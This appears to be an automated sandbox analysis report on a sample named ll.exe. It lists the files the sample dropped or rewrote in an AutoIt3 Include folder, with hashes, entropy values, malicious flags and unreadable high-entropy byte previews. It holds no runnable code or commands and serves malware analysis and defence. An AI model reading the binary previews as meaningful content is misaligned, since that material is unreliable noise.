.%3gP:.v.v...f..mF..-kx...-.o....+.-l[..&.jx.6....w7L.;+.=.(...Q..<.&...J.....D...a....:..[..].Cuv.'.D......@1uAz..C.7c.FEo...EEdKz;:."....h&.x....t>....[S.........J.......~.id.Q. <.{.>........S....$2.q.A...-x.....J'...$f.o.).....`.T..k...uAb...).lZ...N6S..R..5e. ..i.H.]t.&......=..V.9 h.U+.....6u"..?(...i....A....X..q.........._.

C:\Program Files (x86)\AutoIt3\Include\GuiTreeView.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):125839
Entropy (8bit):7.99850378412726
Encrypted:true
SSDEEP:
MD5:A39322E2DB48AD1A1E53FBAFE7F300BC
SHA1:8D57133C2686BCE88BCDD0ADBE420EB17D83C0E9
SHA-256:C0E67526C603D2947ACFE81B702654078192DE62332A950E150CA810EBE00F6A
SHA-512:9B437003FBD274CA4CA847F7321F4DE41060C967EB47E0B7BD642DDAD816ACE325ECF90440E43FDBDD2F63AC41F677D74D708842BF993453CC48C7307F79E239
Malicious:true
Preview:...K.==..+/`.X2T..8}.N.N[...5E.230.}hn..C.........>e..BO{c<^.]..)[S..}.NP2.-J.V7.M.*7...8G.}.....V..E...oB.b..o......|T..:%R..Xf..a.s....--.#i.5:....&..W..|i.....@...2..f.K.aBQ.;.q}...]../c....Md.@L~%{VMS...:jj)YV.h.E~(.K,.{!.....ko..H#u.,[..z8.],.&..u.N.s....Z!.\{....~..W.L.{.|. .[.{..{......9g...M.gv."...1T.5...3eU..dm..Y......\..+}..yH.v.U..BkX..BE..m'.':/....8.Cc..-(....%3d.=.P?...7..&-l...?..8|.a..D.y2_%.T.Y`+..\7.7oY.(... x.Y.oi.O.g..a.1{..f.D.>..S.#.i....0.....h.v..<.5|....tS...+OI..l.&...g.m.0.a7..+.y.. KI.......CK..P.;....r...O.=.X.a.0..Ntb1z..#x.[M..6B..u..{..........Y7r...c.....0n}.euGSj.t...%[...Y...{J68.Gr......Y.z..x.....;..-2.:.....n. ..@.@+.Q2.....V..v....\...S..$..m.?..[......]..0_.C..3VQ5..J}&..e;\..............o. ....Dj/w.S.I.l=....Z.9..Zl.x@..fM$.._.{. ...........C..l.........1....V.(.5...le.8c,.*bU?~Y3.1{.{.9...`[#..h.1..H.'F5.IUd..X...y..._(....F...a\..;].P.:}.6<.#...eG...._O....l.e`..I.n..%..V".c.....?...ZG.U]E...d...V'.]k

C:\Program Files (x86)\AutoIt3\Include\HeaderConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7547
Entropy (8bit):7.972515611521871
Encrypted:false
SSDEEP:
MD5:61F6DF509D32C61BB7BDCEC0273C103B
SHA1:DF085225E7F4C82956D9EAE6362C8F48648275A2
SHA-256:7890B63BC05A1E2EBC1746548C7A531CA202DA7692421B6AC481B4B1F8159179
SHA-512:00ECE5C61C15BBA1B8A2610A59DD591215DFF7103B6716CA61FB04B713A9835F0DF53A5E6C84E2704135A34153680A3C10353453AFD7E2AC771D997FD3D92093
Malicious:false
Preview:Z^.....>.].b.o.~......G...WH.p.\...F...w;.~....N...u........o..1y...@....."..%.K!.S....Yyj3...k..=1.... ....!.Z7.R...E..."..O.5...X..E.xToJ...o9!G.....u..}.@....... t.p.$.Ve.#..n.....f...V=6@./l.PE.Y..QP.%...P.!..P%q..."C .S.o...i..:..<.KW....B..I.......2B"`<.T...~...u.....J}.(..p.....w.>...T.........=...Y.Nu...\.YD.d.x.......k]... ..%..7w...&!...W{"..6.......kB1{..5R.J..+....8%...`$D.^8.kG.@..hf@.><......3.}..0Lf...Pb...\#F..{.o[HOH*r.UAH.....%C..P4.j....|n....1d."...kb.j.m........ZQ...9...8.....>...$t......V.hU.D..uM....U.x.}.w.......N.-.....}X...:j.M.......5.O.9..*............I.Y......{=..G.Ak.b.&....`.l.L..A{...4.u.Gv.R!N7W".l...6...uF..#..~......o,.l&4F..c:.u..3k>...)B...kQ..o.%..I.b..e.v...fZ..!....g.>..T.;..p.M.b..l....%....'.zU;?...-..T..=..%.0+E.`...p?.l.-.X.2...7I*.l.cV.....(.h...'.3u..P...JC.\..d.7y.....D./v....8.~....rC.W...s.'L...1Q.~<.g-......|=.....I0.t..B.d.ABh.aK.h......x......N...1.QP.7.Cbn....O.Gk.K..<AzX.^...M..J f....

C:\Program Files (x86)\AutoIt3\Include\IPAddressConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1908
Entropy (8bit):7.893414918420629
Encrypted:false
SSDEEP:
MD5:5B643D8EFE8B90E53E8A79AD4C6E4573
SHA1:2E0AC883BA08345289A7BF7AECFA8B2B32C2AC91
SHA-256:FD9CFF2E443DF7ED9B90E4D256041360C1DD4D2F9CADE65B9BEB80C928776D37
SHA-512:33F6F7D97C254E9A3E5FE3603F17507725D6A3B45282FE029DFAB81ED72A5597A05FE217F3744EF8C99D75A9442B2C7F4ECF59FA52E2CFFDF29A508009530E53
Malicious:false
Preview:.....?.C.U...<.G..y.;..9..._.H.u..w....&.94P.E.g.._...[.B.o...rD.H.3....iCT.pK.O.....P.t8._4B'.7Sd....B.0.,7...?d.41.....I:.3V.O...[]........?.....,.....Kw....8.dX6......>....P..ww..g.1y.~.l.y"......d...f.5...&R..7..W..M\,,...w8.G.cV=...!.b....Y.J-m ...J.T.|.{.pw%.....XL.4U..XBS...F..<.q.....~..f.knG.....%...oRi....U-..Q.Z.L......s..I.../A..."MM-..E...d.%.:$.....%.e....O v...yk..#.&.;...p..o!R..0?...#...|....+h(`..v..^SJ....fB.._m!.f..?%;=.t.wc,..%..Zn."-...d..QE.Q....{]X.t..`........6.P?f...[...._..G.}N.6..x.[>...?.F2....Y.T....Y...`E.:i.t.f.x..2......4]f_.../.?7g....7............C*ni#rbF...#......7.....9....G.|p_R.3....U.<x.r>.3......9.nF....._-.#B.V.s....m.D.b[......b.s..`...0.1:.W..30P.......p......J....=...CH..._r....9jKO:.......N.o.......m6+....I:]...'..........y.N>%DB.p.xo...Koju..`i............../M...B...=.R......2.B.x.G..... P=CG...l.._....1.."...j.m.f.<...\P{7de.D..-.<.`";...S\.#..d*...}K....r...8.l..}F....O...7...

C:\Program Files (x86)\AutoIt3\Include\ImageListConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2279
Entropy (8bit):7.908533723609603
Encrypted:false
SSDEEP:
MD5:9044231692B0D1025F0191C26F1E03DA
SHA1:0C98D7EAABEF9099C6DDE23C695FF9E44A98981A
SHA-256:F90CAE8ADCEDA210E83A21DF8C2E6FE058F03ED33DCA9A8D38C140FDC20BEE24
SHA-512:73E645877C62884070C65CAF3BF59BE498E1A5DAC79833349617071D3A851C53AD7B202782BCED820A696543661E5E3EFE3AD20B4BB126136E86B65584A07641
Malicious:false
Preview:l...f._....g....."......./8.N.......b...5H.]9.=lI8g.L$..5.5..M...fVPQ..2'.E.^.....4.>...R.T.\!L6j'..~z.`.`./...c.q5.y.E......U~..].p.)..w.4Z.v..._. ..S.h.dw..0.~.g.%.qj..Z...`.~..x......L}..B(..r..4.,.O.......,.l<1..N..4..Z.....A|-z.e.I.*..V.'.hd....w....Vg$.9..F.H($\7.._\.G.q..W.>..b............P...V.uW..=. .v.4......b..pd..L.Uo...........T.G._..=..3.....=........u....M..E.=.>.N7...#....T_J$ $0k.)....[|$.M/.}iA`E..m..p.C.=E....G.dy.......L...D..+.Q6R.W.5........M.-z.......+8.&...t...ef....U.A<..,.(...@8(^..vV......{.pK.T....A.y.:.64.......-..".b,....}...z:.....<<Y...) L..).I.......W3...u.....a.V..1......7..i..'.s..+<*_....lo.?....Y........)>..(5... .<M..\...*Fmj.n.7.5.Us.B.gx.K....M.Z.)..6.a...O>....r....y.a..Z7[....|v..j.~..R.....NA..9.%5.X.k!.V&?...y.*-|.v.s7._..n....>A!.ml%.....e.U.Z?.v.d.Y....W..S^.%.$,.(...6..N..t.#3...$. ....].H..p<.#.Z.OV~;.W<...<%))]..^.-UN&."1|.4..U.3..;...7..*.?v...q.Y.f.F.:$.Ha..F~...i..Y.<...K..C...E..>....

C:\Program Files (x86)\AutoIt3\Include\Inet.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15655
Entropy (8bit):7.986785908921785
Encrypted:false
SSDEEP:
MD5:5B1246D4821258E043E894F1FAF371A3
SHA1:CE3D23CE1DB0D1AFE5EE23F8BC266DE60BA73262
SHA-256:C06023B2E9E22D0F38CA793A7EBC9854BD3A0930C7D58EACD8C92C298EA8E9B5
SHA-512:9DF7CA2E159ECE50BAA4B602E65B8DFD18BD5E30C0003CE91731847EE4B60D9071342D2F4951F6CB30324DD365884251BC86EC030C3C059DF307B4842DA0FBB5
Malicious:false
Preview:....l..3wh...wL.. ........>..`.I&.KKiL%*....K.!z.Q.v_R.%.t.}.#.6}^k.q.Iu@.&....a..........Z.X........+...X.?;l..z.y....Z.0.....1 ...u........j.c.gG...4..q..E.A`.y.Z..C.zuH.A.V..@...?6.J.!.{..k.6......@.....Y..].F.>..N"..oz...-.......X...3.&y.C.M.x...P^j.5..J..2....,e.,....6....|..........sf...%.s.=_..)...\.......[.Z~Nm'....f...g.B...(#.X.1;._....C[.%...........Z..$Xp..w~....n.f=.)".R.$...A.d..$2d..G.&b].]..r.-;[_.Z.w%Q....R&.UZ..m}Go..$..[.U>p...=._0.m.2..n.T..I.#U.~.z...W.u.8..q.U.......O...<JA.....f.;.....5%.L.WP.....g.mp3..fv..l.`br\..O..!........L.^nBc...t.Du..d.Qd.2...$/..(cI.[...!.Pj.c.W<..W......D...8.4QgU.]u....f.\../f.Qa.5.~n&^v..4T...X...N.Z.....JR........OL.=.|......`.jk..3...\.$...........&..'r|h..QH..;..U.-..l.9.W\`..f.3.Ty<...".'.......3.f.#.........Q..#.!./.(H.Kyj..h7.m..qn.....t..8N.....:......bc..Y....y..W.pD.....b.AR..mVj....xn..,H....O....z+..a..t.0\..ZbQ.....4@.e.@....C.s.h=.B..:.{...t.2/...Z]k.EjQ..k.......#.\..i.&[...X..

C:\Program Files (x86)\AutoIt3\Include\InetConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1830
Entropy (8bit):7.880775722012918
Encrypted:false
SSDEEP:
MD5:A028216E075EAD734EF311F8223A50A3
SHA1:1561516F951ECE4ABB9FB8AA3367BCBF470AB3D5
SHA-256:201C72BFD7C4D9B85227178309D5F523D39456017C0E8A08DA3B46C802470636
SHA-512:2C450A1E55CAB4F234CFAB2D44FF54A63ACD2DFD8F237C232175131322B586F0CDCBE50D0145184316A50A48C4E7A82966CE514C3C67D925F1A2182AFEC55591
Malicious:false
Preview:U$....w.jld.{l.2T/.\..Yz..Oq....jMW.cMXR....!L..k...a.5C.o....5.A>.j..HvD.L.u.V2.).h.......'..Q.j../..,..20e.P..e.r..a......i........f.F........._.......i%-.....#....V.{.>lI...^do..H.....r.<.l>d>..]..................{.an~..%......>..].rT4v:...3....6EM.We.....C..v....tF..'......Qy....g...;.........T,....0@.EB...,.........>.=.[....8....A.5..h..U0Nn2..c@7.<....Y;..K..............."....Z...\.......@.;~...bN.....H..Ms!.<.$._.+j.....Ni.e..p.......R.u1.Jt'..0_.f43c:..!.i.X..o.{DlI.h8.<J...} ....8..s.kg....Q]j.%..s.....pO...IR..........P/#F@.Y.V"......zK..!.k.......u.(.H.&.....-....T}.bv..........MWo.vy*.6y..t..[....M....d..6z+.l...c...].5d2i..3.L...#......J/PE....f....R-\.al.>..1...:....]....-.Q....F..<.c.y......^....^1..s...+.\.....s/...]S.p........u..'4........u...;.4.*..=..a3&0.-.r<. ...X.H..~.P>#..df......}..].+...{XB.JK8{@z..iu.^..M.w.....W.I0Dn.Z.@...g\YV...G.B.$.z.D*.`.|!Y...$d......._a..,.....h....4yFf.7...<..C....^.....

C:\Program Files (x86)\AutoIt3\Include\ListBoxConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5558
Entropy (8bit):7.965194862049446
Encrypted:false
SSDEEP:
MD5:3AA3A610236DAD4B1C38F04CA8F782CB
SHA1:6D0B1F54A653B407CCBE3E53A6D04F20A9A67934
SHA-256:021CE099C28AD4AB95CD54728FF39665E81C65AC6B128ADCEE9BD0A602FE15C6
SHA-512:6F1BECB8A349030BAB9AF47C3A7527AB95E413D9471C2332B6AC84E23ED0267EFBF97A92D5CC188DFC480F9DC9E03EA23593DACFDCF09226A9D936F37617993C
Malicious:false
Preview:$........4.]2oE.C...4{.....,......qJ..#e?.......m.:ZZ... ....!.t.$.u]K$'*H7....P.._E.....XnX.ufA.?...-....F^.{.]..........~L/..."F......&9.g..c.F;...@.O...<.m...Q.._.)b.'x...S....E.....M.....7.X......7..]Vg..Rof=.m.O...sm.....9..Q..TDC......9QY..FL....=.+...8|2.rH.d..T `.l..S.T.......o.[..Y%..y.....U}Q......N..S..R..z.%.Po./..*..#.fw.DR~.V....!.,.7?"(...J...N.>.O.Z..._..6V.&..z..@46A..H..m..............<_}..t.."v~.\e..bX,.y.g{.{x..B.4$...8..v.m.T.........18#.Lz..I.D....|G.0a^'..?u.`...)./...(.o.&.b.....GV2>..OU.8.7.RR..n3..9......_.....W_..DE..FS..N[.g.!i.Yc..w.... 7A......w.T.".*`$.j..hZ..&*o.Z.]?...s...)....@./{XB..T.)iD.p..6.i....96.Y.$..Up.%WV.l..55.M.K..a...0+.w...>....}.Ke.gR9..#.d^.P./........u-.<..6..X...n...A..G.!5..._.O..F.$..=".W..R.t..n.p...G...Jh}...%....m.7..._..8gs..".@.?.d#y.&e...[.u&......n.I..T).L.?....jt3...Q^m.w......+Qiu.....0.o......j....w.mc.;H.oGE-./..z..../$\.G.@g..e.?|...dO!A.&.U..'rY.S+...I<..9!d.9j.'..\..\..BJ..4..'.n..w.

C:\Program Files (x86)\AutoIt3\Include\ListViewConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):23754
Entropy (8bit):7.992017637594841
Encrypted:true
SSDEEP:
MD5:F5C161A51690004EFD2B3BB642122154
SHA1:68DC848BDA36D40D28AA341677A0995FC04BC316
SHA-256:A6A0E60370C6DA9E8E31A5E60AFD2C2000DA5458B27BABF292E82F9B4E3C9343
SHA-512:66724517307E1C9B28A0FF65E584175402202D0B9F4E757020A74925839C106BA1277C8F79A4BA6E7F5359D4C9A5BB6412B33CB854ADEF7B7746ED515765A459
Malicious:true
Preview:^....K_..J..!.e0{...t...............}......o....N...q..*.cP.9]qW.@.jE..>:..z....HLg*..#.....0Uv..U..B&ow...-......uF.G@p.9x..14..:.s(...>.......T.N.:R.C.....5.y......C....m..SB...D*.......J.=.R$_j..}6...q..pU..mm....k..<o/..87..kT....qP./$_L...66..... . EL.+S{.....Y{..n..?.h.(...So-....i.+@..on..|n.. v'{.7C.N../.l. T....gI.=5...bO......[..y.aWLp..Q>'./l...dPJ.$....4..1.........X...G.........nH..I...b..5........jdnZP.q........rr2....3..._.....3E......^lg..b..m.V:...A..U..O.z.. .....\...`z.BP6.8.+:s....K.[<9..I(..."l.X.....I.....wt]..y...-....;..E....*(..$...:r.....SH.P..6eh.^iK...c..#5...(...i~.l5.-'..K?.h.R.y....#..../....=.3>.....j.R'.Q:.8 ...).5.Z.....j.c+..t.....G..j*r.>).2&]..!#/xt.Ij.&3+..^..q=.G.O@..f+.t....:Y...U..6.....9.O.`.D.x>....X...U3gA.........I........J..4..&....g/.e...;..L3....3..^...^H......e.:.k,&.(.Q|...<{.V.?Y..........O.....5..T...yt.]..vp....<...W.(.o.X...B......3T..&3\..I....L........`l..h."1....\..o....Z.j

C:\Program Files (x86)\AutoIt3\Include\Math.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5181
Entropy (8bit):7.966970625817279
Encrypted:false
SSDEEP:
MD5:018F950A33547CF1370686C198DE2B1F
SHA1:79B381665BB2C55E4EFC3E89A730CF985F108E78
SHA-256:ABAD60444FB1EA2F3E7E1AC9F7533C1C920DA1FBDE96ADDA7466E1AC5F70AA98
SHA-512:600E4272084B4954AF126366B6127D427126B3F460DE492DE610FC1FD7AB78EAE9203311A8209E0E271E4DEF8F8F5BC93CE77941D10735C96FA7FD9680249E0C
Malicious:false
Preview:TO...l....2N.K2.-\]"rp..o...Q......w...E...3e...<.6..l.....HsB.R...W..7..VK.....?!}......}Kz!2..w..y..]^.ow.1...a..@.S'..j=b..V.k...`......J..k..l....7..k.....Y...'.b.Y'}..ip.Ak.....A../.87.....?..\Ddc.,;.=...........?0.[.g%....R.n..........N....n.E..'..U...T..O...k. ..>.b.e.5.EI........#J.u...O...55.>.[..%.......\....z.`:@Ii(........S.."........4-.U....t_.^...{....................6V/tM.V.4.{.\k.h.$3i.`..2.$.T...Wa #w.<^.z3..d..6rw0.@..@a).....B...C...x..w.< ...>H#.......7...{4...O....0f.o.z+XW ...g.........Q.....|.....$....G.+Q.$V.....<xl. .&.PY.}:..j._{.MG..F..l......W...WoOr.....C....G>$f...-9_.E.k......).l.... ...0V......O...h.....8..^n.p.$..O&.(...&.^..9[.+..fQ..4.&.|.x..mN.sH=...S.7....n.}.i........O..."..h.?.F..>.F.k....i...J..8tB...i..";.I.{...J.{.?T.GN.Qn..r9..pQ!...z....V...I.]..|.....0. .)....t.(X5.... .)...W.."..\wg$.r.l$...:..B..A*|.....D.%/..N.`.M_...<x..D....-..Z.;\..H(Q.............[Q...............;..".r..B.P./.cs.h^.Nx......

C:\Program Files (x86)\AutoIt3\Include\MathConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1460
Entropy (8bit):7.858433742437183
Encrypted:false
SSDEEP:
MD5:E9D7B5DF6CFC70EFD616ACF5936C87CD
SHA1:E08427853FCAAC6AB3077847A6C0B86EA2B72AC0
SHA-256:DE4373F003FC648773A56F6FC969D6B429CEA5A017A936F086CE511239EB9016
SHA-512:80E2690FE42584E8E91BC4A9A4D49B06ED29D1EF65D71BC07EBD13A433AA0A2FD5BC8E7F72BEA8D005BA84CC6BCD4508982C11ACB28C4AF1637D039C69BE8BF8
Malicious:false
Preview:...?D.{x...M.B....."..S...F...&U.*.v..ST1.5......H$(..y/....#..w)..8..r..8..;q~.lO_....e+a..$-.^..Y...:u..x.w_Rh.....O.O.bgO3._...v....i.W...}.OH.xh..|`......E%.Lc.E.UEg.E...4:#.B.%D.4..S...eY.K =...w.P%...'....../.@..[H.5q......z..2m.\)u..(.qs47...E~D*rGol.S............ s..3.......j.5.X.:...7...(..>..fW...........r>TUZ1F{.(.........w%....K..+...3.3.(.[.D...^o.D4..wUh.....m...q.;.L..\..t.&..2.g.a.O....,0$J.......G..*..+.>ry..j..1_..0.....e}.=.G.A.....s.....%..e0..N..e....uCi..+i...{..U...C..7.zu.7..zH.D..b.!.;.jQ|.%.......#.v...H..'\m......`(h..P+.L.;........Q.H..........G...Y..r....GI.ot.'.X._.A.._g..{..7(...A.....w.S?z..........f...1......S.....zS6./..-3..a.#.v..rR.Mf.e.X./...Al..3...M...1..)28....8.l..F`..qd.#Rnp.l.FL.f.=....nJ..v.wh....M...K[..../J)..Epncy.8.w]F..jN.]}a.xg.....$..o6M..r!d...7T.A../.....O...w.A....2^s...2jZ.#...1j.....N..........ZF...C...V.4......A..Av...+Kr......(.Y.'.I....+..}...L..s.)y-.....&z...h}<..fl....<.Bz...

C:\Program Files (x86)\AutoIt3\Include\Memory.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:COM executable for DOS
Category:dropped
Size (bytes):17884
Entropy (8bit):7.98946569066623
Encrypted:false
SSDEEP:
MD5:4F6F7A7D3BAB16038D72D0D1BB41AAED
SHA1:78D12DFDC6B417CE0E1E42AECD57EB3597791A8D
SHA-256:C6142B4D4CB47CA4F28D8602A591E8B56AD8BEB7D3E911A4AF6CA1DC94CC39F5
SHA-512:FCE783CE96C36E153DE3CE2DD4FA8D79D9D306CDFBF51FD62800EA40690B581DB8D2A1571246FD654E6A27BB90EC782BB4038D725469517709F2CC8BAE469855
Malicious:false
Preview:..>5V,2?....f...l,m]..L{......I...............(.O.l...#...<.x.H.D...9..D..D...S......N.....9.=R....[yo.......f.../...%QV...C....,Jj-s.6.[.>~..CH_".N...O...b3.E. XR..'...[0P.#.......5..E....~.;v..3.kj....N.MI.[....cWfK.X....ttB...R..fNd@.v..z..sS.>.z....P......Q......OT/.....V.....}.?.f.....D...VN.0./.W.. ..Rg"?Qz.l...EN...^..{.H........;.J...j.UY....iq.....x....:.c..:..B+.,....R.4....u~>.W....>.$a.m5...T3z.>.g.y\$...iv.v..E.K...:.7./>.9x..C..u2TW....'......)..l...2U....@. |.s..;}.EB4.9..F..-.!.<l.eqs....ol0..yu.......2.1..)..Fkw...$.x.p.C....fg..H#A....d[.6.B...>....2o......r.+v...k..o.....=..SY...k...*...u...U.....5#.{..u.D..U.t...A&..SD.......UF...4,..H..mX.l.{..............[.Kt.u3...SE).~...e...h/..q.....Jp!Dc...Tne.y..r.1N0.R.8.3C.\..>LYl....$...8.......h)..B`^V..3%V....PXL......g...p..0.T.......J..Q.T...-...f0..(.F.,S..XS.6.I...Y....z..l......O.?..o..<.w,..1P.... .%k3...@i..3.."..lK..<...c.+.L4.\.......e...../...)..1.|.}G...

C:\Program Files (x86)\AutoIt3\Include\MemoryConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2967
Entropy (8bit):7.938045781566989
Encrypted:false
SSDEEP:
MD5:60E64B60C5CF0D7AF69952DCCCD3125E
SHA1:CC88E8C7B70DE2E068FEF485434CE35486C6F51A
SHA-256:F2B4A20D893DA6698493A38DC6A17574A523D189D8371D84CADF4BE2AEF88D18
SHA-512:E7DFC0501487790696D6DC86204A2A8611D1AAF08AC9D4B2275C98837BAE4F02C46EDDF51B38EF1AF79E945E925212622C039C2BEE7CA4696A29B86A632BD0EE
Malicious:false
Preview:.kY}p.=..i...........o..I..]F..ax58V.p!.h...6........C.i..E..<P`x....z/...1.......C...v.'..j'ss...r..oU...r.|K..y..~~.....N../."`D$XC.Sw..8..,E.....6...F...F...5.x..B..s..y.;.F..Ft.#..].F....e..&.V.iw.A.;x......Z...........drF..I...x........s....*...:...9.#`;G....*Y.G5R.{..-...h..t...D.....9)....f$....<.x0...OF......*.......8#.......a..v...._.......9..E........ .-C.`cE...P.@...1.G.??..D.D../{.OP.H...<(.....#.a...K..R.. ...._..js..v..r.zoX..B..t( .l...;.}.O.....)._...........<.^2.6mK.kH..F...6.RL.....X.VF......L.'./i...850.!.H..2...!)_^_W...S..}.if6.C^TN)...)...-...+.h....KJ7......Q...\.-z.$N.bB_.=G7..Q..(...w......y.Y2.Y.h.V#-.S.c...zs..{...7......X|D..GhJ .].u...}..Z Q..*y&..B0.^jN.3.(:.0O..s.g........\i.M..0..H0.....+.`.m...5i.XO.....o...c.L..M.[~..R.g..5X..)S..O....."t.j..T..>?hO I...[eJ.*..5i-...i...n...+....:.uL...x.ic....?.E.<.a1.^G."..yR.R..akL...8f......1.../{d......!..=+..u.......z%.)E......4.T.f{+vq...l...../6......F

C:\Program Files (x86)\AutoIt3\Include\MenuConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5428
Entropy (8bit):7.961151902968092
Encrypted:false
SSDEEP:
MD5:9F3AB8E995D95E6AF11DCEF32B8381EA
SHA1:59E4481D081F23BBC3CFED4FEE1C7A673E7198F7
SHA-256:BA51C2DEE62DAE60BF6EAC8DAF0B50E1A23C83BE6AEF1BCED136778886D27DCA
SHA-512:D495D64CA0AC5E5988754CA88A8585F935ABB5D9FEA36B51C0F281830C719E07CBDE84FEC2D076FEA0C013A44CB39BB0A99645A18C67955CDECA3826D8866038
Malicious:false
Preview:..].9.B.1.|g.......hI....)`j..R.9..S_~..YA+<D.....Re6.7....kV}..Bt..Rx.V........)..... .......Qd.Z..d?.....gU....:.......M7........Z..a...........Q..@..............t.H7...W.a.....QN....G..BFzU...%.l..f..]..1...#-@..!..1.}!.(~..B..$a..p..=...@..).....U.}.)....rt+IL.6Jm../.PT.Wy.]...r.........[d.tQk...@.....v2/"p....p..........W....D~p^.3.H.....E.#..X....E*<.HQ.~.9!....C'...Kf....m........7B..)tL.$.7.o.v..U..."...A... W....=?.(.......dT..'-..].]..^.....S.F..Lj. .m...V.RO+7;....j..^.....6.F.l..!.....O...h?6s.V|}..-.}bX).......p...]..SS...!..:...#!.p...........l....=.k.q+R...5.Z.".*.m..d#t0..~.g.\.CQ3...^......?n.o...H.s[S.0....Tc.*..M.2c../.,v... .)kn..D..E....y-.%PV.....$.f.2D...?s...IN....E.XB.[]5..I....(8.M.x.....ef6.....I..X\....:.......3.3...^PjF......o.........s7(.]....[#..u..G...n|[....#....l.S..\).0v"6..m....T1...F.......Q..........f....Q...+.7...E.S...p6...0.k..sz........X(u...!........v!c=f.E..%JR..52..D..|.ot..W..f....B6....

C:\Program Files (x86)\AutoIt3\Include\Misc.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32500
Entropy (8bit):7.994112507417558
Encrypted:true
SSDEEP:
MD5:9EEE45BEE8FB0E10EFD1D5E2AEDC7353
SHA1:0D2313C2B6FF8BAA7587FD8899FF9BD09E0C19B1
SHA-256:3AB43862ACAC30CF2A73F41F7BDCA2ABDE7380EC7A680006562BEA090F94C594
SHA-512:F5584F4B03C008DE88D793269ED9650A717A7627152632A342E8D678A04EA1687DE2F65137E20B8C039581610E98D9BA4D518D9360BF5373FAC09E8F9AFEC9C0
Malicious:true
Preview:...o.....A{..g.:....1..._....7E..~..rQ. .g.N}u..p.px.\N<....fr...}m>.B...X5.(A&W;...>...^....4|R...b.w..C8.z.....,...*....C\e......+!@...e.. .....mw5...hH\.....\.....S..@M...`...z..\."..=...D.....qN.k..-u...9wv.L..Z...n...O...~./GL...c..j;.r"u..c...t..h.....;&..-..+i.........S*iRV.....h....?.....$.|I.........f*V.6Z".#.+$V......p.%.A.qu...#(.+x.?.....:..h...hLi:2..6...b.Z....TR..^x.@...`.........6....~&.#........9.}.Q._...Nup.b..%^.=Bb...$.....9.#.O.....]..a...k.|Q....m;..!2....#0.Bmhe._(Z...%....*.8....D.P|. ..'....0..].....O0-.....K_V..R..^=..i\.1Pi...u. ./%.hc."..;. .?...+G.(..[.Q8ZW&.R.j..6.n....y]>...D...'6{.)....n8..Z..{.Cy.fN.#.$.c.l.....}.%...y4!....d.A....1*.ot}..r.B...5H2.. ...h)6.6B .....t...!..#.OS...Qb..6..$../..~>S..E7?c._....g.Bm.z,..;.KN..=...d....+..X..G.g<.Z...hpc.^...j8.D..26.t..k.[.'...<BZ#.....Y.P7.0...:'....e n$.Z.9.Z..J...V..H.P.....5. ..JC..E.....X0.[d.....D..U....W..-.."&r.[a...r.........>.8.z.n......Z.Q./..

C:\Program Files (x86)\AutoIt3\Include\MsgBoxConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4654
Entropy (8bit):7.95485900472652
Encrypted:false
SSDEEP:
MD5:87FBECEE7E76BE19DE1EA8D157770A41
SHA1:5E93907A663C160B31C005F54CE26164F1530E7F
SHA-256:8E93C7486D1BB693DF4F92E0C58C9D4EABF6EE6FF039A2F01F10D6591C4CBF8A
SHA-512:2C84BF1CEC93610B39AB07DAF168A2CA5F13B4859D97FDE6C24337C664E24D10F3EB90B694FB8F0E28C8D869FBF8964978B5448F31F14D99F5E6210F1E61AD5A
Malicious:false
Preview:.U.9A8..6$..Z...Hj...3.N....fd0.+..|:nr..."sG.r=d..v.- .kj x>s.P.....J.H..%a...-.`2.....,.6a.'z ...j].........?o.h..r...~wQ...B....I.....K;.^..`%.*..}...y.....\.....).v..y.Ha....m...F..@.j.8...`q....mN..)....V..q....e.=5s7A2^F....I.J...r.~:.......z&..n.....bF.d.U.......Ba...5....U..L..Uz.)u1...p,;..+y>......U....9.ocb.,.'YFb.a.-@I.Qjq.8.[.S..<...3K...eqM..;&.IUY...`.|6.V4...(..e5^ZY..\..6..+.....b)...%....N.o.}....{/^a/.6%r6g..4O....U..*.@,-...,.5..~Y"...pbL.hn..W.g ..S.J.q.>...p...........U..&'.0@.)..X...>....Q.0.A8.i}.e.......9.D..'..K....^\4...4.6e...>......`'.Nn.L.2..^..''b.B..Qv8..(..1zR.....kp.w...f.....k3+..EIq..s..`b.u../...hk`..k.d...bB.Ol.....F.x1......Z.D...r&... i..=.)...;......].tx...q..a:....(Qu...Ss.....Eo..~.J!.j.....N..A.3v9.......%r;.........S..".EV.....g...!.Q.....z.D..I....q...i.20...(.8c.}.F.Ea.*2...O.}......k.L9M...?.a.....ob...9..v=b..i..:.E...p...I?d...Z.s...6|.? ...p.....R.2*...A..!..qx..Q....Q...\.w7LV.f.JG......

C:\Program Files (x86)\AutoIt3\Include\NTSTATUSConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):241208
Entropy (8bit):7.999170040960783
Encrypted:true
SSDEEP:
MD5:6413F5BAB7D454D7F6C6315AD1EB7921
SHA1:E3B3218C470D44F0F14881E01C7036BBB2C90385
SHA-256:D7CE20EFFAE2992028628AA3F45455B95DB6467F8DAB5DCF9DA224A61CB7A260
SHA-512:0BD7C29DE9D243953514352CFD7AC6C171045ADA62C87CD1553A2341902803B5208E466CC2D6EAA55E4B918E4455CF711DE33A179E5C2425BFB4ED6917EDE4E3
Malicious:true
